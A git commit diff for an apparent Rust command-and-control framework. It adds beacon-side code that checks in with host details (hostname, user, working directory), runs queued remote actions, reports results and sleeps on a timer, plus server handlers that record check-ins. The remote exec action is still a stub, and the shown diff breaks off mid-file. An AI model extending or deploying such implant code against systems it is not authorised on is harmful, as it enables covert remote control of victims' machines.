feat: record results of beacon callbacks

This commit is contained in:
Andrew Rioux 2025-02-23 22:15:17 -05:00
parent 5ed8efca94
commit 7778e9b454
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
20 changed files with 446 additions and 136 deletions

3
Cargo.lock generated
View File

@ -3479,9 +3479,11 @@ version = "2.0.0"
dependencies = [ dependencies = [
"async-trait", "async-trait",
"bindgen", "bindgen",
"bytes",
"chrono", "chrono",
"enum_delegate", "enum_delegate",
"http", "http",
"http-body-util",
"hyper", "hyper",
"hyper-util", "hyper-util",
"leptos", "leptos",
@ -3504,6 +3506,7 @@ version = "2.0.0"
dependencies = [ dependencies = [
"async-trait", "async-trait",
"bytes", "bytes",
"chrono",
"cron", "cron",
"futures", "futures",
"http", "http",

View File

@ -11,9 +11,9 @@ uuid = { version = "1.14.0", features = ["serde"] }
enum_delegate = "0.2.0" enum_delegate = "0.2.0"
async-trait = "0.1.86" async-trait = "0.1.86"
serde_json = "1.0.139" serde_json = "1.0.139"
thiserror = "2.0.11"
leptos = { version = "0.7.7", optional = true } leptos = { version = "0.7.7", optional = true }
thiserror = { version = "2.0.11", optional = true }
pcap-sys = { path = "../pcap-sys", optional = true } pcap-sys = { path = "../pcap-sys", optional = true }
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true } tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true }
smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true } smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true }
@ -23,11 +23,25 @@ hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1
hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true } hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true }
rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true } rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true }
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
bytes = { version = "1.10.0", optional = true }
http-body-util = { version = "0.1.2", optional = true }
[build-dependencies] [build-dependencies]
bindgen = "0.69" bindgen = "0.69"
[features] [features]
beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"] beacon = [
"dep:pcap-sys",
"dep:tokio",
"dep:smoltcp",
"dep:http",
"dep:hyper-util",
"dep:rustls",
"dep:hyper",
"dep:rmp-serde",
"dep:bytes",
"dep:http-body-util",
"uuid/v4"
]
server-ssr = ["uuid/v4", "dep:sqlx"] server-ssr = ["uuid/v4", "dep:sqlx"]
server = ["dep:leptos"] server = ["dep:leptos"]

View File

@ -1,47 +1,106 @@
/// # Rules for actions:
/// Cannot have fields that have the following names:
/// `target_beacon_id`, `target_category_id`, or `cmd_type`
#[cfg(feature = "server")] #[cfg(feature = "server")]
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
use crate::version::Version; use crate::version::Version;
mod ls;
mod update;
mod exec; mod exec;
mod upload; // mod ls;
mod install; // mod update;
mod download; // mod upload;
// mod install;
// mod download;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct FileId(pub uuid::Uuid); pub struct FileId(pub uuid::Uuid);
/// Macro used to enforce the invariant that struct names are used to identify /// Macro used to enforce the invariant that struct names are used to identify
/// the enum branch as well /// the enum branch as well
macro_rules! define_actions_enum { macro_rules! define_actions_enum {
($(($mod:ident, $act:ident)),+) => { ($(($mod:ident, $act:ident)),+$(,)?) => {
#[derive(::serde::Serialize, ::serde::Deserialize)] #[derive(::serde::Serialize, ::serde::Deserialize, Clone, Debug)]
#[serde(tag = "cmd_type")] #[serde(tag = "cmd_type")]
pub enum Actions { pub enum Actions {
$($act($mod::$act)),+, $($act($mod::$act)),+,
} }
$(
impl From<$mod::$act> for Actions {
fn from(act: $mod::$act) -> Self {
Self::$act(act)
}
}
)*
} }
} }
define_actions_enum! { #[cfg(feature = "server-ssr")]
(ls, Ls), #[derive(thiserror::Error, Debug)]
(update, Update), pub enum BuildActionError {
(exec, Exec), #[error("sqlx error")]
(upload, Upload), Sqlx(#[from] sqlx::Error),
(install, Install), #[error("io error")]
(download, Download) Io(#[from] std::io::Error),
#[error("json error")]
Json(#[from] serde_json::Error)
} }
define_actions_enum! {
(exec, Exec),
// (ls, Ls),
// (update, Update),
// (upload, Upload),
// (install, Install),
// (download, Download),
}
#[async_trait::async_trait]
#[cfg(feature = "beacon")]
impl Action for Actions {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option< &'static str> = None;
const REQ_FIELDS: &'static[(&'static str, &'static str,Option< &'static str>)] = &[];
type ActionData = String;
async fn execute<'a, T, S>(
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
macro_rules! match_arm {
($cmd:expr) => {
$cmd
.execute(parameters, adapter, client)
.await
.and_then(|v| serde_json::to_string(&v)
.map_err(Into::into))
}
}
match self {
Actions::Exec(e) => match_arm!(e),
}
}
}
#[cfg(feature = "server")]
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[ pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
&ActionBuilderImpl::<ls::Ls>::new(),
&ActionBuilderImpl::<update::Update>::new(),
&ActionBuilderImpl::<exec::Exec>::new(), &ActionBuilderImpl::<exec::Exec>::new(),
&ActionBuilderImpl::<upload::Upload>::new(), //&ActionBuilderImpl::<ls::Ls>::new(),
&ActionBuilderImpl::<install::Install>::new(), //&ActionBuilderImpl::<update::Update>::new(),
&ActionBuilderImpl::<download::Download>::new(), //&ActionBuilderImpl::<upload::Upload>::new(),
//&ActionBuilderImpl::<install::Install>::new(),
//&ActionBuilderImpl::<download::Download>::new(),
]; ];
#[async_trait::async_trait] #[async_trait::async_trait]
@ -51,33 +110,53 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> {
const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)]; const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)];
type ActionData: Serialize + for<'a> Deserialize<'a>; type ActionData: Serialize + for<'a> Deserialize<'a>;
#[cfg(feature = "server-ssr")]
type BuilderData: for<'a> Deserialize<'a>;
#[cfg(feature = "beacon")] #[cfg(feature = "server-ssr")]
async fn execute(&self) -> Self::ActionData; async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result<Self, BuildActionError>;
#[cfg(feature = "server")] #[cfg(feature = "server")]
fn render_data(&self, data: Self::ActionData) -> impl IntoView; fn render_data(&self, data: Self::ActionData) -> impl IntoView;
#[cfg(feature = "beacon")]
async fn execute<'a, T, S>(
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static;
} }
#[async_trait::async_trait]
#[cfg(feature = "server")]
pub trait ActionBuilder { pub trait ActionBuilder {
fn name(&self) -> &'static str; fn name(&self) -> &'static str;
fn required_version(&self) -> Version; fn required_version(&self) -> Version;
fn required_os(&self) -> Option<&'static str>; fn required_os(&self) -> Option<&'static str>;
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)]; fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)];
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>; #[cfg(feature = "server-ssr")]
async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result<Actions, BuildActionError>;
} }
#[cfg(feature = "server")]
pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>); pub struct ActionBuilderImpl<T>(std::marker::PhantomData<T>);
#[cfg(feature = "server")]
impl<T> ActionBuilderImpl<T> { impl<T> ActionBuilderImpl<T> {
pub const fn new() -> Self { pub const fn new() -> Self {
Self(std::marker::PhantomData) Self(std::marker::PhantomData)
} }
} }
#[async_trait::async_trait]
#[cfg(feature = "server")]
impl<T> ActionBuilder for ActionBuilderImpl<T> impl<T> ActionBuilder for ActionBuilderImpl<T>
where where
T: Action T: Action, Actions: From<T>
{ {
fn name(&self) -> &'static str { fn name(&self) -> &'static str {
let tname = std::any::type_name::<T>(); let tname = std::any::type_name::<T>();
@ -92,7 +171,15 @@ where
fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] { fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] {
T::REQ_FIELDS T::REQ_FIELDS
} }
fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> { #[cfg(feature = "server-ssr")]
serde_json::from_value::<T>(body).map(|_| ()) async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result<Actions, BuildActionError> {
let builder_data: T::BuilderData = serde_json::from_value(body)?;
let built_action = T::build_action(builder_data, db).await?;
Ok(built_action.into())
} }
} }
#[cfg(feature = "server")]
unsafe impl<T> Send for ActionBuilderImpl<T> {}
#[cfg(feature = "server")]
unsafe impl<T> Sync for ActionBuilderImpl<T> {}

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct Download { pub struct Download {
download_src: super::FileId, download_src: super::FileId,
download_path: String, download_path: String,
@ -22,7 +24,7 @@ impl super::Action for Download {
type ActionData = (); type ActionData = ();
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string(); "Hi".to_string();
} }

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters};
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Debug, Serialize, Deserialize, Clone)]
pub struct Exec { pub struct Exec {
exec_cmd: String exec_cmd: String
} }
@ -18,10 +20,28 @@ impl super::Action for Exec {
]; ];
type ActionData = String; type ActionData = String;
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
#[cfg(feature = "server-ssr")]
async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result<Self, super::BuildActionError> {
Ok(data)
}
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute<'a, T, S>(
"Execute".to_string() &self,
_parameters: &Parameters,
_adapter: &'a T,
_client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
) -> Result<Self::ActionData, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
println!("Execute command {}", self.exec_cmd);
Ok("Execute".to_string())
} }
#[cfg(feature = "server")] #[cfg(feature = "server")]

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct Install { pub struct Install {
install_target: std::path::PathBuf install_target: std::path::PathBuf
} }
@ -20,7 +22,7 @@ impl super::Action for Install {
type ActionData = (); type ActionData = ();
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string(); "Hi".to_string();
} }

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct Ls; pub struct Ls;
#[async_trait::async_trait] #[async_trait::async_trait]
@ -16,7 +18,7 @@ impl super::Action for Ls {
type ActionData = (); type ActionData = ();
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string(); "Hi".to_string();
} }

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct Update; pub struct Update;
#[async_trait::async_trait] #[async_trait::async_trait]
@ -16,7 +18,7 @@ impl super::Action for Update {
type ActionData = (); type ActionData = ();
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hello".to_string(); "Hello".to_string();
} }

View File

@ -2,9 +2,11 @@
use leptos::prelude::*; use leptos::prelude::*;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
#[cfg(feature = "beacon")]
use crate::payload_types::Parameters;
use crate::version::Version; use crate::version::Version;
#[derive(Serialize, Deserialize)] #[derive(Serialize, Deserialize, Clone)]
pub struct Upload { pub struct Upload {
upload_src: String upload_src: String
} }
@ -20,7 +22,7 @@ impl super::Action for Upload {
type ActionData = (); type ActionData = ();
#[cfg(feature = "beacon")] #[cfg(feature = "beacon")]
async fn execute(&self) -> Self::ActionData { async fn execute(&self, _: &Parameters) -> Self::ActionData {
"Hi".to_string(); "Hi".to_string();
} }

View File

@ -23,7 +23,7 @@ pub struct BeaconInterface {
} }
#[async_trait::async_trait] #[async_trait::async_trait]
pub trait BeaconAdapter { pub trait BeaconAdapter: Send + Sync {
type Error: error::AdapterError + Send + Sync; type Error: error::AdapterError + Send + Sync;
const OPERATING_SYSTEM: &'static str; const OPERATING_SYSTEM: &'static str;

View File

@ -37,4 +37,6 @@ where
RmpSerdeDecode(#[from] rmp_serde::decode::Error), RmpSerdeDecode(#[from] rmp_serde::decode::Error),
#[error("http error")] #[error("http error")]
Hyper(#[from] hyper::Error), Hyper(#[from] hyper::Error),
#[error("serde json error")]
Json(#[from] serde_json::Error),
} }

View File

@ -10,6 +10,7 @@ pub struct RegisterBeacon {
pub operating_system: String, pub operating_system: String,
pub userent: String, pub userent: String,
pub hostname: String, pub hostname: String,
pub version: crate::version::Version,
} }
#[derive(Clone, Serialize, Deserialize)] #[derive(Clone, Serialize, Deserialize)]
@ -37,4 +38,10 @@ pub enum RuntimeConfig {
#[derive(Clone, Serialize, Deserialize)] #[derive(Clone, Serialize, Deserialize)]
pub struct BeaconConfig { pub struct BeaconConfig {
pub runtime_config: RuntimeConfig, pub runtime_config: RuntimeConfig,
pub unfinished_actions: Vec<(i64, crate::actions::Actions)>,
}
#[derive(Clone, Serialize, Deserialize)]
pub struct CommandInvocationResult {
pub result_body: String,
} }

View File

@ -32,6 +32,7 @@ cron = "0.13.0"
pcap-sys = { path = "../pcap-sys" } pcap-sys = { path = "../pcap-sys" }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] } sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
packets = { path = "../packets" } packets = { path = "../packets" }
chrono = "0.4.39"
[features] [features]
openssl = ["dep:rustls-openssl"] openssl = ["dep:rustls-openssl"]

View File

@ -22,7 +22,7 @@ use crate::tcp::{self, setup_network};
#[derive(Clone)] #[derive(Clone)]
pub struct ServerConnector<T> pub struct ServerConnector<T>
where where
T: adapter::BeaconAdapter + Clone + Send + 'static, T: adapter::BeaconAdapter + Clone + 'static,
{ {
adapter: T, adapter: T,
parameters: Parameters, parameters: Parameters,
@ -30,7 +30,7 @@ where
impl<T> Service<Uri> for ServerConnector<T> impl<T> Service<Uri> for ServerConnector<T>
where where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, T: adapter::BeaconAdapter + Clone + 'static,
{ {
type Response = TokioIo<tcp::NetInterfaceHandle>; type Response = TokioIo<tcp::NetInterfaceHandle>;
type Error = error::BeaconError<T::Error>; type Error = error::BeaconError<T::Error>;
@ -59,7 +59,7 @@ pub async fn obtain_https_client<T, B>(
parameters: &Parameters, parameters: &Parameters,
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>> ) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
where where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, T: adapter::BeaconAdapter + Clone + 'static,
B: hyper::body::Body + Send, B: hyper::body::Body + Send,
<B as hyper::body::Body>::Data: Send, <B as hyper::body::Body>::Data: Send,
{ {

View File

@ -1,9 +1,13 @@
use sparse_actions::payload_types::Parameters; use std::{str::FromStr, time::{Duration, Instant}};
use cron::Schedule;
use http::Response;
use http_body_util::{BodyExt, Full}; use http_body_util::{BodyExt, Full};
use hyper::{Request, Method}; use hyper::{body::Incoming, Method, Request};
use rand::Rng;
use sparse_actions::{adapter, error::BeaconError, messages}; use sparse_actions::payload_types::Parameters;
use sparse_actions::{actions::Action, adapter, error::BeaconError, messages};
mod callback; mod callback;
mod socket; mod socket;
@ -18,15 +22,14 @@ pub fn install_rustls() {
let _ = rustls::crypto::ring::default_provider().install_default(); let _ = rustls::crypto::ring::default_provider().install_default();
} }
pub async fn make_request<A, Req, Resp>( async fn make_request_inner<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>, client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri, uri: hyper::Uri,
req_body: Req req_body: Req
) -> Result<Resp, BeaconError<A::Error>> ) -> Result<Response<Incoming>, BeaconError<A::Error>>
where where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static, Req: serde::Serialize + Clone + Send + Sync + 'static
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
{ {
let mut body_buf = Vec::new(); let mut body_buf = Vec::new();
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?; req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
@ -40,12 +43,47 @@ where
let resp = client.request(req).await?; let resp = client.request(req).await?;
if !resp.status().is_success() { if !resp.status().is_success() {
return Err(BeaconError::SparseServerHttpError(resp.status())); let status = resp.status().clone();
}
if cfg!(debug_assertions) {
let body = resp.into_body(); let body = resp.into_body();
let body = body.collect().await?; let body = body.collect().await?;
dbg!(body);
}
return Err(BeaconError::SparseServerHttpError(status));
}
Ok(resp)
}
pub async fn make_bodiless_request<A, Req>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<(), BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static
{
make_request_inner(client, uri, req_body).await?;
Ok(())
}
pub async fn make_request<A, Req, Resp>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Resp, BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static,
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
{
let resp = make_request_inner(client, uri, req_body).await?;
let body = resp.into_body();
let body = body.collect().await?;
rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into) rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into)
} }
@ -54,52 +92,126 @@ pub async fn run_beacon_step<A>(
params: Parameters, params: Parameters,
) -> Result<(), BeaconError<A::Error>> ) -> Result<(), BeaconError<A::Error>>
where where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, A: adapter::BeaconAdapter + Clone + 'static,
{ {
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string()); let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string()); let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
let beacon_id = std::str::from_utf8(&params.beacon_identifier)?.to_owned();
let _config: messages::BeaconConfig = { loop {
let runtime_config = {
let client = callback::obtain_https_client(&host_adapter, &params).await?; let client = callback::obtain_https_client(&host_adapter, &params).await?;
make_request( let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request(
&client, &client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?, format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?,
messages::RegisterBeacon { messages::RegisterBeacon {
beacon_id: std::str::from_utf8(&params.beacon_identifier)?.to_owned(), beacon_id: beacon_id.clone(),
template_id: params.template_id, template_id: params.template_id,
cwd: std::env::current_dir()?, cwd: std::env::current_dir()?,
operating_system: A::OPERATING_SYSTEM.to_string(), operating_system: A::OPERATING_SYSTEM.to_string(),
userent: userent.clone(), userent: userent.clone(),
hostname: hostname.clone() hostname: hostname.clone(),
version: sparse_actions::version::Version::new(
std::env!("CARGO_PKG_VERSION_MAJOR")
.parse()
.expect("cargo did not provide a valid pkg version major"),
std::env!("CARGO_PKG_VERSION_MINOR")
.parse()
.expect("cargo did not provide a valid pkg version minor"),
)
}
).await?;
for (cmd_id, action) in unfinished_actions {
let action_result = match action.execute(
&params,
&host_adapter,
&client
).await {
Ok(res) => res,
Err(e) => {
if cfg!(debug_assertions) {
eprintln!("Error running beacon command: {e:?}");
}
continue;
} }
).await?
}; };
loop { make_bodiless_request(
// let client = callback::obtain_https_client(&host_adapter, &params).await?; &client,
format!(
//use messages::RuntimeConfig as RC; "https://{}/finish/{}/{}",
//let target_wake_time = match &config.runtime_config { params::domain_name::<A>(&params)?,
// RC::Oneshot => { break; }, beacon_id,
// RC::Random { interval_min, interval_max } => {}, cmd_id
// RC::Regular { interval } => {}, ).parse()?,
// RC::Cron { schedule, timezone } => { messages::CommandInvocationResult {
result_body: action_result
// } }
//}; )
.await?;
} }
// for _ in 1..5 { runtime_config
// let req = Request::builder() };
// .uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
// .method()
// .body(Empty::<bytes::Bytes>::new())?;
// let resp = client.request(req).await?;
// println!("{:?} {:?}", resp.version(), resp.status()); use messages::RuntimeConfig as RC;
// let body = resp.into_body(); let target_wake_time = match &runtime_config {
// let body = body.collect().await; RC::Oneshot => { break Ok(()); },
// println!("{:?}", body); RC::Random { interval_min, interval_max } => {
// } let mut trng = rand::rng();
let dist: f64 = trng.random();
let rand_interval =
((interval_max - interval_min) as f64 * dist) as u64
+ interval_min;
let duration = Duration::new(rand_interval, 0);
Instant::now() + duration
},
RC::Regular { interval } => {
Instant::now() + Duration::new(*interval, 0)
},
RC::Cron { schedule, timezone } => {
let sched = match Schedule::from_str(schedule) {
Ok(sched) => sched,
Err(e) => {
if cfg!(debug_assertions) {
eprintln!("Could not parse schedule expression: {e:?}");
}
break Ok(())
}
};
macro_rules! get_wait_duration {
($sched:expr, $tz:ident) => {{
let Some(dt) = sched.upcoming(chrono::$tz).next() else {
if cfg!(debug_assertions) {
eprintln!("could not get next cron invocation");
}
break Ok(());
};
let now = chrono::$tz::now();
let Ok(dur) = (dt - now).to_std() else {
if cfg!(debug_assertions) {
eprintln!("next instance of ");
}
break Ok(());
};
Instant::now() + dur
}}
}
match timezone {
messages::CronTimezone::Utc => get_wait_duration!(sched, Utc),
messages::CronTimezone::Local => get_wait_duration!(sched, Local)
}
}
};
tokio::time::sleep_until(target_wake_time.into()).await;
}
} }

View File

@ -152,7 +152,7 @@ pub async fn setup_network<T>(
parameters: Parameters, parameters: Parameters,
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>> ) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
where where
T: adapter::BeaconAdapter + Clone + Send + 'static, T: adapter::BeaconAdapter + Clone + 'static,
{ {
let net_info = tokio::task::spawn_blocking({ let net_info = tokio::task::spawn_blocking({
let adapter = adapter.clone(); let adapter = adapter.clone();
@ -212,25 +212,26 @@ where
let default_route_if = &net_info.interfaces[default_route.interface_index]; let default_route_if = &net_info.interfaces[default_route.interface_index];
unsafe {
( (
default_route_if, default_route_if,
default_route.gateway.0, default_route.gateway.0,
default_route_if.mac_addr.clone(), parameters.source_ip.use_host_networking.source_mac.clone(),
unsafe {
Ipv4Addr::new( Ipv4Addr::new(
parameters.source_ip.use_host_networking.source_ip.a, parameters.source_ip.use_host_networking.source_ip.a,
parameters.source_ip.use_host_networking.source_ip.b, parameters.source_ip.use_host_networking.source_ip.b,
parameters.source_ip.use_host_networking.source_ip.c, parameters.source_ip.use_host_networking.source_ip.c,
parameters.source_ip.use_host_networking.source_ip.d, parameters.source_ip.use_host_networking.source_ip.d,
) ),
},
default_route.gateway.1, default_route.gateway.1,
) )
} }
}
_ => panic!("Corrupted parameters present!"), _ => panic!("Corrupted parameters present!"),
}; };
let go_promisc = mac_address != [0, 0, 0, 0, 0, 0]; let go_promisc = mac_address != [0, 0, 0, 0, 0, 0];
let mac_address = Some(mac_address) let mac_address = Some(mac_address)
.filter(|smac| smac != &[0, 0, 0, 0, 0, 0]) .filter(|smac| smac != &[0, 0, 0, 0, 0, 0])
.unwrap_or(interface.mac_addr); .unwrap_or(interface.mac_addr);

View File

@ -12,9 +12,11 @@ pub mod error;
mod router; mod router;
#[derive(Clone)] #[derive(Clone)]
#[non_exhaustive]
pub enum BeaconEvent { pub enum BeaconEvent {
NewBeacon(String), NewBeacon(String),
Checkin(String) Checkin(String),
BeaconCommandFinished(String, i64)
} }
pub struct BeaconListenerHandle { pub struct BeaconListenerHandle {

View File

@ -1,6 +1,6 @@
use std::net::SocketAddr; use std::net::SocketAddr;
use axum::{extract::{State, ConnectInfo}, routing::post, Router}; use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router};
use axum_msgpack::MsgPack; use axum_msgpack::MsgPack;
use sqlx::SqlitePool; use sqlx::SqlitePool;
use tokio::sync::broadcast; use tokio::sync::broadcast;
@ -15,7 +15,6 @@ pub struct ListenerState {
event_publisher: broadcast::Sender<BeaconEvent>, event_publisher: broadcast::Sender<BeaconEvent>,
} }
#[axum::debug_handler]
pub async fn handle_checkin( pub async fn handle_checkin(
State(state): State<ListenerState>, State(state): State<ListenerState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>, ConnectInfo(addr): ConnectInfo<SocketAddr>,
@ -94,20 +93,6 @@ pub async fn handle_checkin(
.fetch_optional(&state.db) .fetch_optional(&state.db)
.await?; .await?;
if let Some(category_id) = template_category.map(|r| r.default_category).flatten() {
if let Err(e) = sqlx::query!(
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
VALUES (?, ?)",
category_id,
reg.beacon_id
)
.execute(&state.db)
.await {
tracing::warn!("Could not assign beacon to default category: {e:?}");
return Err(e.into());
};
}
sqlx::query!( sqlx::query!(
r#"INSERT INTO beacon_instance r#"INSERT INTO beacon_instance
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname) (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
@ -124,6 +109,20 @@ pub async fn handle_checkin(
.execute(&state.db) .execute(&state.db)
.await?; .await?;
if let Some(category_id) = template_category.map(|r| r.default_category).flatten() {
if let Err(e) = sqlx::query!(
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
VALUES (?, ?)",
category_id,
reg.beacon_id
)
.execute(&state.db)
.await {
tracing::warn!("Could not assign beacon to default category: {e:?}");
return Err(e.into());
};
}
let rec = sqlx::query_as!( let rec = sqlx::query_as!(
DbBeaconConfig, DbBeaconConfig,
r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode
@ -141,7 +140,6 @@ pub async fn handle_checkin(
} }
}; };
tracing::debug!("Here 5");
let now = chrono::Utc::now(); let now = chrono::Utc::now();
sqlx::query!( sqlx::query!(
r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r, r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r,
@ -154,23 +152,75 @@ pub async fn handle_checkin(
let current_beacon_reg = current_beacon_reg let current_beacon_reg = current_beacon_reg
